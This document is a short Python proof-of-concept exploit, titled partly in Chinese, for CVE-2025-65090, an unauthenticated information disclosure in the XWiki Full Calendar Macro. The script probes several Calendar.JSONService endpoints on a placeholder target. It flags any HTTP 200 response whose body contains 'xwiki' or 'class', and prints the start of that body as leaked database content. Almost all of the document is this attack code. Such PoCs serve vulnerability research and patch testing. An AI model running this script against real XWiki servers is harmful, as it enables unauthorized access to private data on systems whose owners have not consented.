CVE-2025-65090: XWiki Full Calendar Macro 敏感信息泄露漏洞

import requests # CVE-2025-65090 PoC - XWiki Full Calendar Macro Information Disclosure # Target: XWiki instance with Full Calendar Macro < 2.4.6 # Author: Security Research def exploit_cve_2025_65090(target_url): """ Exploit for CVE-2025-65090 - XWiki Full Calendar Macro JSONService Information Disclosure This PoC demonstrates how an unauthenticated user can access sensitive data through Calendar.JSONService """ # Target endpoint that exposes database information endpoints = [ "/xwiki/bin/view/Main/Calendar.JSONService", "/xwiki/bin/view/XWiki/Calendar.JSONService", "/Calendar.JSONService" ] print("[*] CVE-2025-65090 - XWiki Full Calendar Macro Information Disclosure") print(f"[*] Target: {target_url}") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send GET request without authentication # The vulnerability allows unauthenticated access to database info response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Potential vulnerability detected!") print(f"[!] Status Code: {response.status_code}") print(f"[!] Response Length: {len(response.text)} bytes") # Check if response contains sensitive data if 'xwiki' in response.text.lower() or 'class' in response.text.lower(): print("[!] Response contains potential database information") print("[*] Sample response (first 500 chars):") print(response.text[:500]) return True else: print(f"[*] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "http://target-xwiki-instance.com" exploit_cve_2025_65090(target)